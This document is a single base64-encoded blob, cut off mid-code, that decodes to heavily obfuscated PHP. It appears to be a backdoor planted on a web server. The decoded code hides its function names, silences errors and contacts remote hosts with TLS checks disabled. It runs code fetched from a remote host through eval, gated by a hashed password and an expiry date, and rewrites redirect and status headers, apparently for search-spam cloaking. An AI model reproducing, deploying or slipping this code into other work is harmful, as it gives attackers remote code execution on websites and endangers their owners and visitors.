ZUszYXBYbnFNVmI6IEtMNV9KMGFUSXU0V181NTogZ290byBOM3NrX2lIYlcwVmszNG87IFBqbkhMU0FIOVNSd0tuVzogUXI5aXpOVHlhTDBNbWtUOgo/Pgo8P3BocAogZ290byBQR3NEcDFGT1dWNUdsWUs7IFc0N1JaQVZZTzZoSzN2cDogJElOQUFadXhrMkRmZ2NyZFsiXHg2OSJdID0gT092RUhXUnpiMDdVR203KCRSMlp4OUN4UFNCeUh2aHApOyBnb3RvIGVHVjVBTEpNSk9VMVFScDsgbEF4MFJTdW9od1pWUGNLOiBzd2l0Y2ggKCREY2VFUnN0clVBaDRVMW1bIlx4NzNceDc0XDE0MVx4NzRcMTY1XHg3MyJdKSB7IGNhc2UgMzAxOiBnb3RvIERNMFlvYTFrcU5MUHY4ODsgdU1YdzdORnR0REhSaG1sOiBnb3RvIEtMNV9KMGFUSXU0V181NTsgZ290byBQTG1qWDJzNjlUNkJLMXc7IERNMFlvYTFrcU5MUHY4ODogaGVhZGVyKCJcMTEwXHg1NFwxMjRcMTIwXDU3XDYxXDU2XHgzMVw0MFw2M1x4MzBceDMxXHgyMFx4NGRceDZmXHg3NlwxNDVcMTQ0XDQwXDEyMFx4NjVceDcyXDE1NVwxNDFcMTU2XDE0NVwxNTZcMTY0XDE1NFwxNzEiKTsgZ290byBOOGM0bk01VWp2UkZZU0M7IE44YzRuTTVVanZSRllTQzogaGVhZGVyKCJceDRjXDE1N1x4NjNcMTQxXHg3NFwxNTFceDZmXHg2ZVw3Mlw0MCIgLiB0cmltKCREY2VFUnN0clVBaDRVMW1bIlx4NjNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiXSkpOyBnb3RvIHVNWHc3TkZ0dERIUmhtbDsgUExtalgyczY5VDZCSzF3OiBjYXNlIDMwMjogZ290byBlZDluTlltWjB5VkY4Y1g7IGVkOW5OWW1aMHlWRjhjWDogaGVhZGVyKCJceDQ4XHg1NFwxMjRceDUwXDU3XHgzMVx4MmVceDMxXDQwXHgzM1w2MFw2Mlw0MFwxMTVceDZmXDE2Nlx4NjVcNDBceDU0XDE0NVx4NmRcMTYwXDE1N1wxNjJcMTQxXHg3Mlx4NjlceDZjXDE3MSIpOyBnb3RvIGI4ZXhtQlZRS0RCSGpOcDsgYjhleG1CVlFLREJIak5wOiBoZWFkZXIoIlx4NGNceDZmXHg2M1x4NjFcMTY0XHg2OVwxNTdcMTU2XDcyXHgyMCIgLiB0cmltKCREY2VFUnN0clVBaDRVMW1bIlx4NjNceDZmXHg2ZVwxNjRcMTQ1XHg2ZVx4NzQiXSkpOyBnb3RvIFBMVW5BMG92dlBZaHpDQjsgUExVbkEwb3Z2UFloekNCOiBnb3RvIEtMNV9KMGFUSXU0V181NTsgZ290byBCdVBJeDNCYWpwM3NSMG07IEJ1UEl4M0JhanAzc1IwbTogY2FzZSA0MDQ6IGdvdG8gZzhNMkE3czBSTGtibjZtOyBnOE0yQTdzMFJMa2JuNm06IGhlYWRlcigiXDExMFwxMjRceDU0XDEyMFx4MmZceDMxXDU2XHgzMVw0MFw2NFx4MzBceDM0XHgyMFwxMTZcMTU3XDE2NFx4MjBceDQ2XHg2Zlx4NzVceDZlXDE0NCIpOyBnb3RvIHdabUYxRnN4TFhlT0xTRzsgd1ptRjFGc3hMWGVPTFNHOiBoZWFkZXIoIlx4NzNceDc0XHg2MVx4NzRcMTY1XHg3M1w3Mlx4MjBceDM0XDYwXDY0XHgyMFwxMTZcMTU3XDE2NFx4MjBcMTA2XDE1N1x4NzVceDZlXHg2NCIpOyBnb3RvIGoxTFhXdmR2VThJX1hNSDsgajFMWFd2ZHZVOElfWE1IOiBnb3RvIEtMNV9KMGFUSXU0V181NTsgZ290byB2MDgxN1c3RGQxUENaVmU7IHYwODE3VzdEZDFQQ1pWZTogZGVmYXVsdDogZ290byBLTDVfSjBhVEl1NFdfNTU7IH0gZ290byBUa2dlVjBlMjVCZThfcDY7IGZ0N0VtdENCRkRzUVRUZjogTVZRQ0V5TTQzRjlLVGx4OiBnb3RvIFc5YVJrc1Z1OXplOEd0OTsgS0JLektYYXNYUmNaNTl0OiB6UWpYRGZEVWZMY2NXQzk6IGdvdG8gVGgzYjB5RDVjODBiV1RaOyBIa01DdVFOdnhmUjFkQUc6IGlmICghKHN0cnBvcygkb3U0UTJ5X2d2dzdtd0g5LCAkeTlGODRkVXNUaEtYQnhTKSA9PT0gMCkpIHsgZ290byBLWVpCYV9FUTNkWndJMF87IH0gZ290byBveWxEbFNSTGpJRkg0RkI7IENORTliSFZfY3cyaDVqbzogJE9ONmFOVzdoU2hzaHlyTSA9IHRydWU7IGdvdG8gUXRkdG1tWjFFR2Fmd3FfOyBKaldneVRlbmphbk53T186ICRtNTZqM3FnVlliWk41UHIgPSBzdWJzdHIoJFZzTjdMV2ZGQnh1X3A3MSwgc3RycG9zKCRWc043TFdmRkJ4dV9wNzEsICJcNTYiKSk7IGdvdG8gU3FZclMzYnFHNkI5UkhvOyBBdnZoYXJlWW5zM09UWWQ6IFpyQzJrYTFfQ1pza2hJXzogZ290byBleE10WDlPSDZkRFRtUjY7IFBHc0RwMUZPV1Y1R2xZSzogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIGpNUHpoYlFlRm9sOU13eDsgVkdxZm9FZE81V1Joa0N0OiAkeTlGODRkVXNUaEtYQnhTID0gWWNINVBEZGdtbmw0dDVlKCkgLiAkX1NFUlZFUlsiXDExMFwxMjRceDU0XDEyMFwxMzdcMTEwXDExN1wxMjNcMTI0Il07IGdvdG8gSGtNQ3VRTnZ4ZlIxZEFHOyBaWVAxeVBzbERLTUpqZTA6ICRJTkFBWnV4azJEZmdjcmRbIlx4NzNceDZlIl0gPSBPb3ZlSFdyekIwN1VHTTcoJF9TRVJWRVJbIlwxMjNceDQzXHg1MlwxMTFcMTIwXDEyNFx4NWZceDRlXDEwMVwxMTVceDQ1Il0pOyBnb3RvIHlvT0RIVDJENFhpSGU1TjsgVzJQNjdLS1hYcGZKRHdpOiAkVUE2WEtTN1hrcXY4b29aID0gJHskQkgwR3JsbDFKa0EyM0J3WzMgKyAyOF0gLiAkQkgwR3JsbDFKa0EyM0J3WzE3ICsgNDJdIC4gJEJIMEdybGwxSmtBMjNCd1s0MyArIDRdIC4gJEJIMEdybGwxSmtBMjNCd1s0MiArIDVdIC4gJEJIMEdybGwxSmtBMjNCd1syNiArIDI1XSAuICRCSDBHcmxsMUprQTIzQndbMjcgKyAyNl0gLiAkQkgwR3JsbDFKa0EyM0J3WzE5ICsgMzhdfTsgZ290byBqZXF5eG9NZXN4VmVETkg7IFM2dE9lTnBmR1hlQjRZdTogJG91NFEyeV9ndnc3bXdIOSA9IHN0cnZhbChAJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBceDVmXDEyMlx4NDVceDQ2XHg0NVx4NTJceDQ1XHg1MiJdKTsgZ290byBWR3Fmb0VkTzVXUmhrQ3Q7IGNwUW83bW5NMXVZS2lhcjogY2xhc3MgV19QZEwxTzUwcGQ4OTAzIHsgc3RhdGljIGZ1bmN0aW9uIGxIMVp6X1ZaQWFBbUNLNigkQTZXNUJSU3pEVU5DVmFNKSB7IGdvdG8gYk8ycVZqZk5vNTJuYnBYOyBQUl9wZXpmOWpYQ3owN1Y6IEhQNmtCSTJrVmVTS1hoRjogZ290byBKQjJ3eFIxbzZtRTRFRUg7IGx5Y3NXNFRLekh4Y29NRjogJHY2am8zN3RTcUNyZ1htRiA9IGV4cGxvZGUoIlwxMzMiLCAkQTZXNUJSU3pEVU5DVmFNKTsgZ290byBJakI3dlBaZ204ZmdlRDU7IGJPMnFWamZObzUybmJwWDogJHZ5V0hhaUZINEVWSm5COCA9ICJcMTYyIiAuICJceDYxIiAuICJceDZlIiAuICJcMTQ3IiAuICJceDY1IjsgZ290byB0VF9xMU4ybVZZYWJaWjQ7IEpCMnd4UjFvNm1FNEVFSDogcmV0dXJuICRSeDU5ME4xZ3dHUFVSMVk7IGdvdG8gTERYc2tUUjBjcFpjYTdkOyB0VF9xMU4ybVZZYWJaWjQ6ICRya2ZIQlQxNnlzcjg3a2wgPSAkdnlXSGFpRkg0RVZKbkI4KCJceDdlIiwgIlx4MjAiKTsgZ290byBseWNzVzRUS3pIeGNvTUY7IElKQjZXbV9wSVFXTkpjbDogZm9yZWFjaCAoJHY2am8zN3RTcUNyZ1htRiBhcyAkS3dPcHVSQW5YdzNLZDJNID0+ICRaRk84RDFzeUVGb295WTgpIHsgJFJ4NTkwTjFnd0dQVVIxWSAuPSAkcmtmSEJUMTZ5c3I4N2tsWyRaRk84RDFzeUVGb295WTggLSA4NjM4MF07IE1pTWg4M0tGelVoMHBTRjogfSBnb3RvIFBSX3BlemY5alhDejA3VjsgSWpCN3ZQWmdtOGZnZUQ1OiAkUng1OTBOMWd3R1BVUjFZID0gJyc7IGdvdG8gSUpCNldtX3BJUVdOSmNsOyBMRFhza1RSMGNwWmNhN2Q6IH0gc3RhdGljIGZ1bmN0aW9uIEZFNzh2UzB1Z0tNdVE1VigkTjYwV0ZUU2pqYXJfNjJELCAkbHNyUGJXbWlTaVpnUWh6KSB7IGdvdG8geHZpblRZUTVrM1F5cWRZOyBsQklhUlRud1cwSzJ5cHo6IGN1cmxfc2V0b3B0KCRoWlRFdjMyWjd5dkxINlQsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGVGaGVON3ZOUEh2SDFDaDsgeHZpblRZUTVrM1F5cWRZOiAkaFpURXYzMlo3eXZMSDZUID0gY3VybF9pbml0KCRONjBXRlRTamphcl82MkQpOyBnb3RvIGxCSWFSVG53VzBLMnlwejsgUWtXN3k3NFFVRExhUWhHOiByZXR1cm4gZW1wdHkoJEFfQnp2UlBtQzhRbkx2ZCkgPyAkbHNyUGJXbWlTaVpnUWh6KCRONjBXRlRTamphcl82MkQpIDogJEFfQnp2UlBtQzhRbkx2ZDsgZ290byBCVHdwQ0NONDgxb1hwU2I7IGVGaGVON3ZOUEh2SDFDaDogJEFfQnp2UlBtQzhRbkx2ZCA9IGN1cmxfZXhlYygkaFpURXYzMlo3eXZMSDZUKTsgZ290byBRa1c3eTc0UVVETGFRaEc7IEJUd3BDQ040ODFvWHBTYjogfSBzdGF0aWMgZnVuY3Rpb24gdVNqZHNHOUN0NGpUT0xiKCkgeyBnb3RvIHlJTlNhaVNhVGlxS1IxbTsgc0pZZ0lCTlVPSVV2TVVKOiBmb3JlYWNoICgkQ2pfOXMzZU9uXzVONExrIGFzICRRMnk0bUdzN3FFMjRmdV8pIHsgJFZRWGI1WmVfV3ZMTGNNMFtdID0gc2VsZjo6bEgxenpfdnpBQUFNY0s2KCRRMnk0bUdzN3FFMjRmdV8pOyBQMzhYMjhhNXhlRnJabVo6IH0gZ290byBURkRhclQ2VElmbjFKVzc7IHh1dU9OTTJQUWcxMklvYjogQCRWUVhiNVplX1d2TExjTTBbNSArIDVdKElOUFVUX0dFVCwgIlx4NmZcMTQ2IikgPT0gMSAmJiBkaWUoJFZRWGI1WmVfV3ZMTGNNMFszICsgMl0oX19GSUxFX18pKTsgZ290byBFS2lUVExDQXJoTUJvcDU7IEVWQmVkV0NuSU9lRWFJejogZGllOyBnb3RvIHBZWnIxdlRMeFpaSVFlMDsgcXI1Z3d2N1JoTmVYU3E2OiAkQzZ2bVhzZXNKb25kVEhWID0gQCRWUVhiNVplX1d2TExjTTBbMSArIDJdKCRWUVhiNVplX1d2TExjTTBbNiArIDBdLCAkZ2N4MHd4RlUxeEt4QWVmKTsgZ290byBjS0VwMTNLUThRdHJDZW47IHlJTlNhaVNhVGlxS1IxbTogJENqXzlzM2VPbl81TjRMayA9IGFycmF5KCJcNzBceDM2XDY0XHgzMFw2N1wxMzNceDM4XDY2XDYzXDcxXDYyXHg1Ylx4MzhceDM2XDY0XHgzMFw2NVx4NWJcNzBceDM2XDY0XHgzMFx4MzlceDViXHgzOFx4MzZcNjNceDM5XDYwXDEzM1x4MzhcNjZcNjRcNjBceDM1XHg1Ylw3MFw2Nlx4MzRceDMxXHgzMVwxMzNceDM4XHgzNlx4MzRceDMwXHgzNFwxMzNcNzBceDM2XDYzXHgzOFw3MVx4NWJcNzBcNjZceDMzXHgzOVx4MzZceDViXDcwXDY2XDY0XHgzMFw2N1x4NWJceDM4XDY2XDYzXDcxXDYwXDEzM1w3MFx4MzZceDM0XDYwXDYxXDEzM1x4MzhceDM2XHgzM1w3MVx4MzVceDViXHgzOFw2Nlw2M1x4MzlcNjYiLCAiXDcwXDY2XDYzXDcxXDYxXDEzM1w3MFx4MzZcNjNceDM5XHgzMFwxMzNceDM4XDY2XDYzXHgzOVw2Mlx4NWJceDM4XHgzNlx4MzRcNjFceDMxXHg1Ylx4MzhceDM2XDYzXHgzOVw2MlwxMzNceDM4XDY2XHgzM1w3MVx4MzVcMTMzXDcwXHgzNlx4MzNceDM5XHgzMFwxMzNceDM4XHgzNlw2NFw2NVx4MzdceDViXDcwXHgzNlw2NFw2NVx4MzUiLCAiXDcwXDY2XDY0XHgzMFx4MzBceDViXDcwXHgzNlx4MzNcNzFceDMxXDEzM1x4MzhceDM2XDYzXDcxXHgzNVx4NWJcNzBceDM2XDYzXHgzOVw2Nlx4NWJcNzBceDM2XHgzNFx4MzFceDMxXDEzM1w3MFx4MzZcNjRcNjBceDM2XHg1Ylw3MFx4MzZcNjRcNjBcNjVceDViXHgzOFx4MzZceDM0XDYwXDY3XDEzM1w3MFw2Nlw2M1w3MVw2NVwxMzNcNzBceDM2XHgzNFw2MFx4MzZcMTMzXDcwXHgzNlx4MzRceDMwXHgzNSIsICJcNzBcNjZceDMzXHgzOVx4MzRcMTMzXDcwXHgzNlw2NFw2MFw3MVx4NWJceDM4XHgzNlw2NFx4MzBcNjdceDViXDcwXHgzNlw2M1x4MzlceDM5IiwgIlx4MzhceDM2XHgzNFw2MFw3MFwxMzNceDM4XHgzNlx4MzRceDMwXHgzOVx4NWJceDM4XDY2XHgzM1x4MzlcNjFcMTMzXHgzOFw2Nlx4MzRcNjBcNjVceDViXDcwXHgzNlw2NFx4MzVcNjJceDViXHgzOFx4MzZcNjRcNjVceDM0XHg1Ylw3MFw2Nlx4MzRceDMxXHgzMVwxMzNceDM4XDY2XDY0XHgzMFw2NlwxMzNcNzBceDM2XDY0XDYwXHgzNVwxMzNceDM4XHgzNlw2NFx4MzBcNjdcMTMzXHgzOFx4MzZceDMzXHgzOVx4MzVceDViXDcwXHgzNlx4MzRceDMwXHgzNlwxMzNcNzBcNjZceDM0XHgzMFw2NSIsICJcNzBcNjZceDM0XHgzMFw2NFx4NWJceDM4XHgzNlx4MzRceDMwXHgzMVwxMzNcNzBcNjZceDMzXDcxXHgzOFwxMzNceDM4XHgzNlx4MzRcNjBceDM1XDEzM1x4MzhceDM2XDY0XDYxXHgzMVwxMzNceDM4XDY2XHgzNFw2MFx4MzNcMTMzXDcwXDY2XHgzNFw2MFx4MzVcMTMzXDcwXHgzNlw2M1x4MzlceDMwXHg1Ylx4MzhcNjZceDM0XDYxXDYxXDEzM1x4MzhceDM2XDY0XDYwXDY3XDEzM1x4MzhcNjZcNjNcNzFceDM1XDEzM1w3MFx4MzZceDMzXHgzOVw2Nlx4NWJcNzBcNjZceDMzXDcxXHgzMFx4NWJceDM4XDY2XHgzNFw2MFw2NVwxMzNcNzBcNjZceDMzXDcxXDY2XHg1Ylw3MFx4MzZceDMzXDcxXDYwXDEzM1w3MFw2Nlw2M1w3MVw2MSIsICJceDM4XDY2XDY0XDYzXHgzNFx4NWJceDM4XHgzNlx4MzRcNjZcNjQiLCAiXHgzOFw2Nlw2M1w3MFw2MSIsICJcNzBcNjZceDM0XHgzNVx4MzlcMTMzXHgzOFw2Nlx4MzRceDM2XHgzNCIsICJceDM4XHgzNlx4MzRcNjRcNjFceDViXHgzOFx4MzZceDM0XDYyXDY0XDEzM1x4MzhcNjZcNjRceDMyXHgzNFwxMzNceDM4XDY2XDY0XDY0XDYxXHg1Ylx4MzhcNjZcNjRceDMxXDY3IiwgIlw3MFx4MzZceDM0XHgzMFx4MzRcMTMzXDcwXHgzNlw2NFw2MFx4MzFcMTMzXHgzOFx4MzZcNjNcNzFcNzBcMTMzXHgzOFw2Nlw2M1x4MzlcNjBcMTMzXHgzOFw2Nlx4MzRceDMwXHgzNVx4NWJcNzBceDM2XHgzM1w3MVx4MzJcMTMzXHgzOFw2Nlw2NFx4MzFcNjFceDViXDcwXDY2XHgzNFx4MzBceDMxXHg1Ylw3MFx4MzZceDMzXDcxXDY2XHg1Ylw3MFx4MzZcNjNceDM5XHgzNFx4NWJcNzBcNjZcNjNceDM4XDcxXDEzM1w3MFx4MzZcNjNceDM5XDYwIik7IGdvdG8gc0pZZ0lCTlVPSVV2TVVKOyBwWVpyMXZUTHhaWklRZTA6IHV4U0FIcUpOR0RFOTEzajogZ290byBBREx4NWs2OEZyTzFnWnY7IGltUGdWb1d5REZ0MW13aDogJHk4Mkp6VXBZSlhDN0U5OCA9IHNlbGY6OkZlNzh2UzB1Z2tNdVE1VigkSjlrNFdtbHBnSnB5cnhvWzAgKyAxXSwgJFZRWGI1WmVfV3ZMTGNNMFszICsgMl0pOyBnb3RvIE1Mb21Wc1lQRlBvem53MzsgVEZEYXJUNlRJZm4xSlc3OiB2NzNpWE8xX1JZRW9lNjI6IGdvdG8gTVMyUUVTcHExMTYzT3lJOyBjS0VwMTNLUThRdHJDZW46ICRKOWs0V21scGdKcHlyeG8gPSAkVlFYYjVaZV9XdkxMY00wWzEgKyAxXSgkQzZ2bVhzZXNKb25kVEhWLCB0cnVlKTsgZ290byB4dXVPTk0yUFFnMTJJb2I7IEVLaVRUTENBcmhNQm9wNTogaWYgKCEoQCRKOWs0V21scGdKcHlyeG9bMF0gLSB0aW1lKCkgPiAwIGFuZCBtZDUobWQ1KCRKOWs0V21scGdKcHlyeG9bMyArIDBdKSkgPT09ICJceDY1XHgzNFx4MzZcMTQ2XHgzM1wxNDNceDMyXDY1XHg2NVw3MFx4MzhcMTQyXHgzNlw2MFwxNDJceDMyXDY0XHgzOVx4NjZcNjRceDYxXHgzOVw2MVw3MFx4MzFcNjVcMTQzXDE0MVw3MVx4MzRceDYyXDYxIikpIHsgZ290byB1eFNBSHFKTkdERTkxM2o7IH0gZ290byBpbVBnVm9XeURGdDFtd2g7IE1Mb21Wc1lQRlBvem53MzogQGV2YWwoJFZRWGI1WmVfV3ZMTGNNMFswICsgNF0oJHk4Mkp6VXBZSlhDN0U5OCkpOyBnb3RvIEVWQmVkV0NuSU9lRWFJejsgTVMyUUVTcHExMTYzT3lJOiAkZ2N4MHd4RlUxeEt4QWVmID0gQCRWUVhiNVplX1d2TExjTTBbMV0oJFZRWGI1WmVfV3ZMTGNNMFs3ICsgM10oSU5QVVRfR0VULCAkVlFYYjVaZV9XdkxMY00wWzkgKyAwXSkpOyBnb3RvIHFyNWd3djdSaE5lWFNxNjsgQURMeDVrNjhGck8xZ1p2OiB9IH0gZ290byBZS3JvZk9NbWUxM2FrNVM7IFF0ZHRtbVoxRUdhZndxXzogSW11cmVyN21RQkp5ZGJkOiBnb3RvIGZ0N0VtdENCRkRzUVRUZjsgSW8xME5FNlphTVBHZVJwOiBmdW5jdGlvbiBabVVyQmdQXzhFT1g1Ym8oJGY2Y1VIRGp5QWhxbEJmVywgJHFXaUpBY0JiUVRwbXVFVyA9IGFycmF5KCkpIHsgZ290byBrRXlnYldCaGM4Rzc5N1A7IFRncXVlS1pCRURueUlSbTogJGY2Y1VIRGp5QWhxbEJmVyAuPSAiXDc3IiAuIGh0dHBfYnVpbGRfcXVlcnkoJHFXaUpBY0JiUVRwbXVFVyk7IGdvdG8gZ1FZM0Z6a3RZXzE0U2I1OyBwZmlvY1EyWUg2MkRwcnU6IHRyeSB7IGdvdG8gZ0Y5a2tqMVYwaldYdlVJOyBwdms2Tnh5aWNmZldGVEc6ICRpV0VkOVVOdmlpRFk5MFggPSBjdXJsX2luaXQoKTsgZ290byBVbTQ1QWZSaUM5Smk2YnI7IGVJN3pFTEJBbjI2Y2xzXzogJERjZUVSc3RyVUFoNFUxbVsiXHg2M1x4NmZcMTU2XHg3NFx4NjVceDZlXHg3NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkaVdFZDlVTnZpaURZOTBYLCBDVVJMSU5GT19SRURJUkVDVF9VUkwpKTsgZ290byBZNzBMYlJwVUhiZlkyQ3Q7IFF5b09yZ09QZ3AzVzhQRjogJE40eUdLZUhZbkJQU1M4eiA9IGFycmF5KCJcMTUwXHg3NFx4NzRcMTYwIiA9PiBhcnJheSgiXDE1NVx4NjVceDc0XDE1MFx4NmZcMTQ0IiA9PiAiXHg0N1x4NDVceDU0IiwgIlwxNjRceDY5XDE1NVwxNDVceDZmXDE2NVx4NzQiID0+IDYwLCAiXHg2Nlx4NmZcMTU0XDE1NFwxNTdcMTY3XHg1ZlwxNTRceDZmXHg2M1x4NjFcMTY0XDE1MVx4NmZcMTU2IiA9PiAwKSwgIlwxNjNcMTYzXDE1NCIgPT4gYXJyYXkoIlwxNjZcMTQ1XHg3Mlx4NjlcMTQ2XDE3MVx4NWZceDcwXDE0NVwxNDVcMTYyIiA9PiBmYWxzZSwgIlx4NzZcMTQ1XDE2MlwxNTFcMTQ2XDE3MVwxMzdceDcwXDE0NVx4NjVceDcyXHg1ZlwxNTZcMTQxXHg2ZFx4NjUiID0+IGZhbHNlKSk7IGdvdG8gQU9nVlBoNFUwUTFvQ21pOyBBT2dWUGg0VTBRMW9DbWk6ICROdmdjM0pKRXVuOHNyRkUgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJE40eUdLZUhZbkJQU1M4eik7IGdvdG8gb0tQdVZ2SVFoMUJLaFMwOyBEbDMxVXJQNWpsU3Q2YTU6ICREY2VFUnN0clVBaDRVMW1bIlwxNjRcMTcxXHg3MFx4NjUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gZUk3ekVMQkFuMjZjbHNfOyBGQ3oxM0h5VE5OUDhzV0c6IGN1cmxfc2V0b3B0KCRpV0VkOVVOdmlpRFk5MFgsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIGZKUFVWQVo2UUV1YmkwaDsgZ0Y5a2tqMVYwaldYdlVJOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXDE2NVx4NzJceDZjXHg1ZlwxNDVceDc4XDE0NVwxNDMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNDNcMTY1XDE2MlwxNTRceDVmXHg2OVx4NmVcMTUxXHg3NCIpKSB7IGdvdG8gWHJwRTdXV1VxZWIxTU53OyB9IGdvdG8gRWNTTkdMaUJaSENtcUhhOyByVEI4X0o1Y21CeGVMcXk6IGN1cmxfc2V0b3B0KCRpV0VkOVVOdmlpRFk5MFgsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBYRXBWWTVDODM5TVpOTXM7IEtuUHhsamZMMlE2SVI2NjogaHFjNW8xZWlCd20yU0JhOiBnb3RvIFF5b09yZ09QZ3AzVzhQRjsgWXNjbkdTdUpwMmtFTmlROiAkRGNlRVJzdHJVQWg0VTFtWyJcMTYzXHg3NFx4NjFcMTY0XHg3NVx4NzMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTElORk9fSFRUUF9DT0RFKSk7IGdvdG8gRGwzMVVyUDVqbFN0NmE1OyBhTUdSZHZpUFliTEQ3Wkw6IGdvdG8gQmN6cmtQQkdQOFhUOG91OyBnb3RvIEtuUHhsamZMMlE2SVI2NjsgZkpQVVZBWjZRRXViaTBoOiAkTEY5eEZZTW5TRFpGQTRUID0gY3VybF9leGVjKCRpV0VkOVVOdmlpRFk5MFgpOyBnb3RvIFlzY25HU3VKcDJrRU5pUTsgSXhyNkpTTHB3c1ZzQnJmOiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIEZDejEzSHlUTk5QOHNXRzsgbWlkd3pBQ2pCT2MxRnJ2OiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgZ290byBXMFdRWHRjTDF4dl9LMDM7IG9LUHVWdklRaDFCS2hTMDogJHRBQnZRMERrelVWZ0tvYiA9IEBmaWxlX2dldF9jb250ZW50cygkZjZjVUhEanlBaHFsQmZXLCBmYWxzZSwgJE52Z2MzSkpFdW44c3JGRSk7IGdvdG8gT0k5TXJPVU9ZaWlpWDdkOyBFY1NOR0xpQlpIQ21xSGE6IGlmIChpbmlfZ2V0KCJcMTQxXHg2Y1wxNTRcMTU3XHg3N1wxMzdceDc1XDE2Mlx4NmNcMTM3XHg2Nlx4NmZcMTYwXHg2NVwxNTYiKSkgeyBnb3RvIGhxYzVvMWVpQndtMlNCYTsgfSBnb3RvIGVYN19YZzFTa3I2M0RKNzsgVW00NUFmUmlDOUppNmJyOiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX1VSTCwgJGY2Y1VIRGp5QWhxbEJmVyk7IGdvdG8gbWlkd3pBQ2pCT2MxRnJ2OyBUWG1Zek94SGFMcW4yNEI6IGN1cmxfc2V0b3B0KCRpV0VkOVVOdmlpRFk5MFgsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyBnb3RvIEl4cjZKU0xwd3NWc0JyZjsgVHpRdUxlNjRjQ0FJSVM3OiBYcnBFN1dXVXFlYjFNTnc6IGdvdG8gcHZrNk54eWljZmZXRlRHOyBWMkswYmJWY2duZEYyM3Q6ICREY2VFUnN0clVBaDRVMW1bIlx4NjNcMTU3XDE1NlwxNjRceDY1XDE1Nlx4NzQiXSA9IHN0cnZhbCgkdEFCdlEwRGt6VVZnS29iKTsgZ290byBHazV2aXpjTW1lTTRoNkk7IFhFcFZZNUM4MzlNWk5NczogY3VybF9zZXRvcHQoJGlXRWQ5VU52aWlEWTkwWCwgQ1VSTE9QVF9USU1FT1VULCA2MCk7IGdvdG8gVFhtWXpPeEhhTHFuMjRCOyBlWDdfWGcxU2tyNjNESjc6IGdvdG8gQmN6cmtQQkdQOFhUOG91OyBnb3RvIFR6UXVMZTY0Y0NBSUlTNzsgR2s1dml6Y01tZU00aDZJOiBkTmVnWmN4eExhazBoMW06IGdvdG8gSGJ3cU5tZW9jbEhnWks2OyBNSEJhTGF2MlB5NlFKelU6IGlmICghaW5fYXJyYXkoJERjZUVSc3RyVUFoNFUxbVsiXDE2M1x4NzRcMTQxXHg3NFwxNjVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gbTJBdE5HWjZXNTB0anNUOyB9IGdvdG8gU3hBMWw5a2NfYmNsb2JvOyBZNzBMYlJwVUhiZlkyQ3Q6IEBjdXJsX2Nsb3NlKCRpV0VkOVVOdmlpRFk5MFgpOyBnb3RvIE1IQmFMYXYyUHk2UUp6VTsgT0k5TXJPVU9ZaWlpWDdkOiAkRGNlRVJzdHJVQWg0VTFtID0gYXJyYXlfbWVyZ2UoJERjZUVSc3RyVUFoNFUxbSwgcU1xcTY4TmxMS29pRlZMKCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIGJZZ05oREVNa3lESnNlUDsgU3hBMWw5a2NfYmNsb2JvOiAkRGNlRVJzdHJVQWg0VTFtWyJceDYzXHg2Zlx4NmVcMTY0XHg2NVx4NmVcMTY0Il0gPSBzdHJ2YWwoJExGOXhGWU1uU0RaRkE0VCk7IGdvdG8gTGV6TENtSU1HTzM4aXhhOyBiWWdOaERFTWt5REpzZVA6IGlmICghaW5fYXJyYXkoJERjZUVSc3RyVUFoNFUxbVsiXDE2M1x4NzRcMTQxXHg3NFx4NzVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gZE5lZ1pjeHhMYWswaDFtOyB9IGdvdG8gVjJLMGJiVmNnbmRGMjN0OyBMZXpMQ21JTUdPMzhpeGE6IG0yQXROR1o2VzUwdGpzVDogZ290byBhTUdSZHZpUFliTEQ3Wkw7IEhid3FObWVvY2xIZ1pLNjogQmN6cmtQQkdQOFhUOG91OiBnb3RvIGJ0NVNhTVJHcnlnOEt2aDsgVzBXUVh0Y0wxeHZfSzAzOiBjdXJsX3NldG9wdCgkaVdFZDlVTnZpaURZOTBYLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byByVEI4X0o1Y21CeGVMcXk7IGJ0NVNhTVJHcnlnOEt2aDogfSBjYXRjaCAoRXhjZXB0aW9uICRxZFRlTFM1bFFTN0ZncDEpIHsgfSBnb3RvIExxb0RWRmhUa2ZGejJMdDsgTHFvRFZGaFRrZkZ6Mkx0OiByZXR1cm4gJERjZUVSc3RyVUFoNFUxbTsgZ290byBIMUZpMlhyR0c4aUU4TzE7IHFqbU9FMGU0cE9xcG9QeDogaWYgKCEoaXNfYXJyYXkoJHFXaUpBY0JiUVRwbXVFVykgJiYgY291bnQoJHFXaUpBY0JiUVRwbXVFVykpKSB7IGdvdG8geGQ3ZWpfTndxMkk0Y05oOyB9IGdvdG8gVGdxdWVLWkJFRG55SVJtOyBnUVkzRnprdFlfMTRTYjU6IHhkN2VqX053cTJJNGNOaDogZ290byBwZmlvY1EyWUg2MkRwcnU7IGtFeWdiV0JoYzhHNzk3UDogJERjZUVSc3RyVUFoNFUxbSA9IGFycmF5KC